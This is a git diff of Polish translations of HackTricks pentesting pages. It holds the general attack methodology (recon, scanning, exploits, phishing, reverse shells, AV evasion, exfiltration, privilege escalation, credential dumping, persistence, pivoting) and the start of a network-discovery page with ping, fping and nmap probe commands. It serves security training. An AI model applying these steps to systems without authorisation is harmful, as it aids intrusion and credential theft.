* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Metodologia testowania penetracyjnego
|
||||
# Metodologia Pentestingu
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Metodologia testowania penetracyjnego
|
||||
## Metodologia Pentestingu
|
||||
|
||||
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -28,108 +29,109 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
|
|||
|
||||
### 0- Ataki fizyczne
|
||||
|
||||
Masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) i innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Odkrywanie hostów w sieci](pentesting-network/#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
|
||||
|
||||
**W zależności** od tego, czy **test**, który wykonujesz, jest **wewnętrzny czy zewnętrzny**, możesz być zainteresowany znalezieniem **hostów w sieci firmy** (test wewnętrzny) lub **znalezieniem zasobów firmy w internecie** (test zewnętrzny).
|
||||
**W zależności** od tego, czy **test**, który wykonujesz, jest **testem wewnętrznym czy zewnętrznym**, możesz być zainteresowany znalezieniem **hostów w sieci firmy** (test wewnętrzny) lub **znalezieniem zasobów firmy w internecie** (test zewnętrzny).
|
||||
|
||||
{% hint style="info" %}
|
||||
Zauważ, że jeśli wykonujesz test zewnętrzny i uda ci się uzyskać dostęp do wewnętrznej sieci firmy, powinieneś zacząć od nowa ten przewodnik.
|
||||
Zauważ, że jeśli wykonujesz test zewnętrzny, po uzyskaniu dostępu do wewnętrznej sieci firmy powinieneś ponownie rozpocząć ten przewodnik.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Zabawa z siecią**](pentesting-network/) **(Wewnętrzne)**
|
||||
### **2-** [**Zabawa z siecią**](pentesting-network/) **(Wewnętrzny)**
|
||||
|
||||
**Ta sekcja dotyczy tylko testów wewnętrznych.**\
|
||||
Przed atakowaniem hosta może być lepiej **ukraść pewne poświadczenia** **z sieci** lub **przechwycić** pewne **dane** w celu **pasywnej/aktywnej (MitM)** nauki tego, co można znaleźć w sieci. Możesz przeczytać [**Testowanie penetracyjne sieci**](pentesting-network/#sniffing).
|
||||
Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z sieci** lub **podsłuchiwać** jakieś **dane**, aby dowiedzieć się **pasywnie/aktywnie (MitM)**, co możesz znaleźć w sieci. Możesz przeczytać [**Pentesting Network**](pentesting-network/#sniffing).
|
||||
|
||||
### 3- [Skanowanie portów - Odkrywanie usług](pentesting-network/#scanning-hosts)
|
||||
|
||||
Pierwszą rzeczą do zrobienia, gdy **szukasz podatności w hoście**, jest poznanie, które **usługi działają** na których portach. Zobacz [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
|
||||
Pierwszą rzeczą do zrobienia, gdy **szukasz luk w hoście**, jest poznanie, które **usługi działają** na jakich portach. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Wyszukiwanie eksploitów wersji usługi](search-exploits.md)
|
||||
### **4-** [**Szukając exploitów wersji usług**](search-exploits.md)
|
||||
|
||||
Gdy już wiesz, które usługi działają, a może nawet ich wersję, musisz **szukać znanych podatności**. Być może masz szczęście i istnieje eksploit, który da ci dostęp do powłoki...
|
||||
Gdy już wiesz, które usługi działają, a może ich wersje, musisz **szukać znanych luk**. Może masz szczęście i istnieje exploit, który da ci powłokę...
|
||||
|
||||
### **5-** Testowanie usług
|
||||
### **5-** Usługi Pentestingu
|
||||
|
||||
Jeśli nie ma żadnego spektakularnego eksploitu dla żadnej działającej usługi, powinieneś szukać **częstych błędów konfiguracyjnych w każdej działającej usłudze**.
|
||||
Jeśli nie ma żadnego fajnego exploita dla żadnej działającej usługi, powinieneś poszukać **częstych błędów konfiguracyjnych w każdej działającej usłudze.**
|
||||
|
||||
**W tej książce znajdziesz przewodnik po testowaniu penetracyjnym najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, szukaj w lewym indeksie sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
|
||||
**W tej książce znajdziesz przewodnik po pentestingu najczęściej występujących usług** (i innych, które nie są tak powszechne)**. Proszę, przeszukaj lewy indeks w sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
|
||||
|
||||
**Chciałbym zwrócić uwagę na** [**część Testowanie Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej obszerna).**\
|
||||
Ponadto, mały przewodnik dotyczący [**znajdowania znanych podatności w oprogramowaniu**](search-exploits.md) można znaleźć tutaj.
|
||||
**Chcę szczególnie wspomnieć o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest to najbardziej rozbudowana część).**\
|
||||
Również mały przewodnik po tym, jak [**znaleźć znane luki w oprogramowaniu**](search-exploits.md), można znaleźć tutaj.
|
||||
|
||||
**Jeśli twoja usługa nie znajduje się w indeksie, poszukaj w Google** innych samouczków i **daj mi znać, jeśli chcesz, żebym ją dodał.** Jeśli **nie znajdziesz niczego** w Google, przeprowadź **swoje własne ślepe testowanie penetracyjne**, możesz zacząć od **połączenia się z usługą, testowania jej i czytania odpowiedzi** (jeśli takie są).
|
||||
**Jeśli twoja usługa nie znajduje się w indeksie, poszukaj w Google** innych samouczków i **daj mi znać, jeśli chcesz, żebym to dodał.** Jeśli **nie możesz nic znaleźć** w Google, przeprowadź **własny ślepy pentesting**, możesz zacząć od **połączenia się z usługą, fuzzowania jej i czytania odpowiedzi** (jeśli jakieś są).
|
||||
|
||||
#### 5.1 Narzędzia automatyczne
|
||||
|
||||
Istnieje również kilka narzędzi, które mogą przeprowadzić **automatyczną ocenę podatności**. **Poleciłbym spróbować** [**Legion**](https://github.com/carlospolop/legion)**, który jest narzędziem, które stworzyłem i opiera się na notatkach dotyczących testowania usług, które znajdziesz w tej książce.**
|
||||
Istnieje również kilka narzędzi, które mogą przeprowadzać **automatyczne oceny luk**. **Zalecałbym spróbować** [**Legion**](https://github.com/carlospolop/legion)**, które jest narzędziem, które stworzyłem i opiera się na notatkach dotyczących pentestingu usług, które możesz znaleźć w tej książce.**
|
||||
|
||||
#### **5.2 Ataki Brute-Force na usługi**
|
||||
#### **5.2 Bruteforcing usług**
|
||||
|
||||
W niektórych scenariuszach **Atak Brute-Force** może być przydatny do **skompromitowania** **usługi**. [**Znajdź tutaj ściągawkę różnych usług podatnych na ataki Brute-Force**](brute-force.md)**.**
|
||||
W niektórych scenariuszach **Brute-Force** może być przydatny do **kompromitacji** **usługi**. [**Znajdź tutaj CheatSheet różnych usług do bruteforcingu**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Jeśli do tej pory nie znalazłeś żadnej interesującej podatności, **może być konieczne przeprowadzenie phishingu** w celu dostania się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
|
||||
Jeśli w tym momencie nie znalazłeś żadnej interesującej luki, **możesz potrzebować spróbować phishingu**, aby dostać się do sieci. Możesz przeczytać moją metodologię phishingu [tutaj](phishing-methodology/):
|
||||
|
||||
### **7-** [**Uzyskiwanie powłoki**](shells/)
|
||||
|
||||
W jakiś sposób powinieneś znaleźć **sposób na wykonanie kodu** na ofierze. Następnie, [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania odwrotnej powłoki, byłaby bardzo przydatna](shells/).
|
||||
W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Następnie [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki odwrotnej, byłaby bardzo przydatna](shells/).
|
||||
|
||||
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **uniknąć antywirusów**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać programów antywirusowych**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Wewnątrz
|
||||
|
||||
Jeśli masz problemy z powłoką, tutaj znajdziesz małą **kompilację najbardziej przydatnych poleceń** dla testerów penetracyjnych:
|
||||
Jeśli masz problemy z powłoką, możesz tutaj znaleźć małą **kompilację najbardziej przydatnych poleceń** dla pentesterów:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Eksfiltracja**](exfiltration.md)
|
||||
### **9 -** [**Ekstrakcja**](exfiltration.md)
|
||||
|
||||
Prawdopodobnie będziesz musiał **wyodrębnić jakieś dane z ofiary** lub nawet **wprowadzić coś** (jak skrypty eskalacji uprawnień). **Tutaj masz** [**post o wspólnych narzędziach, które możesz użyć do tych celów**](exfiltration.md)**.**
|
||||
|
||||
Prawdopodobnie będziesz musiał **wydobyć pewne dane z ofiary** lub nawet **coś wprowadzić** (np. skrypty eskalacji uprawnień). **Tutaj masz** [**post o powszechnie używanych narzędziach, które możesz użyć w tych celach**](exfiltration.md)**.**
|
||||
### **10- Eskalacja uprawnień**
|
||||
|
||||
#### **10.1- Lokalna eskalacja uprawnień**
|
||||
#### **10.1- Lokalne Privesc**
|
||||
|
||||
Jeśli nie jesteś **root/Administrator** wewnątrz systemu, powinieneś znaleźć sposób na **eskalację uprawnień.**\
|
||||
Jeśli nie jesteś **rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
|
||||
Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Powinieneś również sprawdzić te strony dotyczące działania systemu **Windows**:
|
||||
Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Windows**:
|
||||
|
||||
* [**Uwierzytelnianie, Poświadczenia, Uprawnienia tokenów i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Jak działa **NTLM**](../windows-hardening/ntlm/)
|
||||
* Jak **ukraść poświadczenia**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) w systemie Windows
|
||||
* [**Uwierzytelnianie, dane logowania, uprawnienia tokenów i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Jak działa [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Jak [**ukraść dane logowania**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) w Windowsie
|
||||
* Kilka sztuczek dotyczących [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Nie zapomnij sprawdzić najlepszych narzędzi do wyliczania ścieżek eskalacji uprawnień lokalnych w systemach Windows i Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Nie zapomnij sprawdzić najlepszych narzędzi do enumeracji lokalnych ścieżek eskalacji uprawnień w Windowsie i Linuxie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Eskalacja uprawnień domenowych**
|
||||
#### **10.2- Domain Privesc**
|
||||
|
||||
Tutaj znajdziesz [**metodologię wyjaśniającą najczęstsze działania mające na celu wyliczenie, eskalację uprawnień i utrwalenie w Active Directory**](../windows-hardening/active-directory-methodology/). Nawet jeśli jest to tylko podsekcja sekcji, ten proces może być **niezwykle delikatny** w ramach zadania Pentesting/Red Team.
|
||||
Tutaj znajdziesz [**metodologię wyjaśniającą najczęstsze działania w celu enumeracji, eskalacji uprawnień i utrzymania się w Active Directory**](../windows-hardening/active-directory-methodology/). Nawet jeśli jest to tylko podsekcja sekcji, ten proces może być **ekstremalnie delikatny** w zadaniu Pentesting/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Grabież
|
||||
|
||||
Sprawdź, czy możesz znaleźć więcej **hasła** wewnątrz hosta lub czy masz **dostęp do innych maszyn** z **uprawnieniami** twojego **użytkownika**.\
|
||||
Znajdź tutaj różne sposoby na [**wydobywanie haseł w systemie Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
Sprawdź, czy możesz znaleźć więcej **haseł** wewnątrz hosta lub czy masz **dostęp do innych maszyn** z **uprawnieniami** swojego **użytkownika**.\
|
||||
Znajdź tutaj różne sposoby [**zrzucania haseł w Windowsie**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Utrwalanie
|
||||
#### 11.2 - Utrzymywanie
|
||||
|
||||
**Użyj 2 lub 3 różnych typów mechanizmów trwałości, aby nie musieć ponownie wykorzystywać systemu.**\
|
||||
**Tutaj znajdziesz kilka** [**sztuczek trwałości w Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Użyj 2 lub 3 różnych typów mechanizmów utrzymywania, aby nie musieć ponownie eksploatować systemu.**\
|
||||
**Tutaj znajdziesz kilka** [**sztuczek dotyczących utrzymywania w Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Uzupełnij post o trwałości w systemach Windows i Linux
|
||||
TODO: Uzupełnij post o utrzymywaniu w Windowsie i Linuxie
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
Dzięki **zebranym poświadczeniom** możesz uzyskać dostęp do innych maszyn, lub być może musisz **odkryć i skanować nowe hosty** (rozpocznij ponownie metodologię Pentesting) w nowych sieciach, do których podłączony jest twój cel.\
|
||||
W tym przypadku tunelowanie może być konieczne. Tutaj znajdziesz [**post mówiący o tunelowaniu**](tunneling-and-port-forwarding.md).\
|
||||
Na pewno powinieneś również sprawdzić post dotyczący [Metodologii testowania penetracyjnego Active Directory](../windows-hardening/active-directory-methodology/). Znajdziesz tam fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i wydobywania poświadczeń.\
|
||||
Sprawdź również stronę dotyczącą [**NTLM**](../windows-hardening/ntlm/), może być bardzo przydatna do pivotowania w środowiskach Windows.
|
||||
Dzięki **zebranym danym logowania** możesz uzyskać dostęp do innych maszyn, lub może musisz **odkryć i zeskanować nowe hosty** (rozpocznij metodologię pentestingu od nowa) w nowych sieciach, w których jest połączona twoja ofiara.\
|
||||
W takim przypadku tunelowanie może być konieczne. Tutaj znajdziesz [**post mówiący o tunelowaniu**](tunneling-and-port-forwarding.md).\
|
||||
Zdecydowanie powinieneś również sprawdzić post o [metodologii pentestingu Active Directory](../windows-hardening/active-directory-methodology/). Znajdziesz tam fajne sztuczki do poruszania się lateralnie, eskalacji uprawnień i zrzucania danych logowania.\
|
||||
Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być bardzo przydatna do pivotowania w środowiskach Windows.
|
||||
|
||||
### WIĘCEJ
|
||||
|
||||
|
@ -137,11 +139,11 @@ Sprawdź również stronę dotyczącą [**NTLM**](../windows-hardening/ntlm/), m
|
|||
|
||||
#### **Eksploatacja**
|
||||
|
||||
* [**Podstawowa eksploatacja systemu Linux**](broken-reference)
|
||||
* [**Podstawowa eksploatacja systemu Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Podstawowe narzędzia do eksploatacji**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
* [**Podstawowa eksploatacja Linuxa**](broken-reference)
|
||||
* [**Podstawowa eksploatacja Windowsa**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Podstawowe narzędzia eksploatacji**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**Podstawy Pythona**](python/)
|
||||
#### [**Podstawowy Python**](python/)
|
||||
|
||||
#### **Sztuczki kryptograficzne**
|
||||
|
||||
|
@ -151,20 +153,21 @@ Sprawdź również stronę dotyczącą [**NTLM**](../windows-hardening/ntlm/), m
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Testowanie penetracyjne sieci
|
||||
# Pentesting Network
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie do nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Odkrywanie hostów z zewnątrz
|
||||
|
||||
To będzie **krótka sekcja** dotycząca sposobów znajdowania **odpowiadających adresów IP** z **Internetu**.\
|
||||
W tej sytuacji masz pewien **zakres adresów IP** (może nawet kilka **zakresów**) i chcesz po prostu dowiedzieć się, **które adresy IP odpowiadają**.
|
||||
To będzie **krótka sekcja** na temat tego, jak znaleźć **IP odpowiadające** z **Internetu**.\
|
||||
W tej sytuacji masz pewien **zakres IP** (może nawet kilka **zakresów**) i musisz tylko znaleźć **które IP odpowiadają**.
|
||||
|
||||
### ICMP
|
||||
|
||||
To jest **najłatwiejszy** i **najszybszy** sposób na odkrycie, czy host jest aktywny, czy nie.\
|
||||
Możesz spróbować wysłać kilka pakietów **ICMP** i **oczekiwać odpowiedzi**. Najprostszym sposobem jest wysłanie **żądania echo** i oczekiwanie na odpowiedź. Możesz to zrobić za pomocą prostego polecenia `ping` lub używając `fping` do **zakresów**.\
|
||||
Możesz także użyć **nmap** do wysyłania innych rodzajów pakietów ICMP (to pozwoli ominąć filtry dla standardowego żądania-odpowiedzi echo ICMP).
|
||||
To jest **najłatwiejszy** i **najszybszy** sposób, aby odkryć, czy host jest aktywny, czy nie.\
|
||||
Możesz spróbować wysłać kilka **pakietów ICMP** i **oczekiwać odpowiedzi**. Najłatwiejszym sposobem jest po prostu wysłanie **żądania echo** i oczekiwanie na odpowiedź. Możesz to zrobić, używając prostego `ping` lub używając `fping` dla **zakresów**.\
|
||||
Możesz również użyć **nmap**, aby wysłać inne typy pakietów ICMP (to pomoże uniknąć filtrów dla powszechnych żądań-odpowiedzi ICMP echo).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
|
@ -36,36 +37,38 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
|||
```
|
||||
### Odkrywanie portów TCP
|
||||
|
||||
Bardzo często zdarza się, że wszystkie rodzaje pakietów ICMP są filtrowane. W takim przypadku jedyną rzeczą, którą możesz zrobić, aby sprawdzić, czy host jest aktywny, jest **sprawdzenie otwartych portów**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** testować, czy **każdy port** każdego hosta jest otwarty czy nie, ponieważ zajęłoby to zbyt dużo czasu.\
|
||||
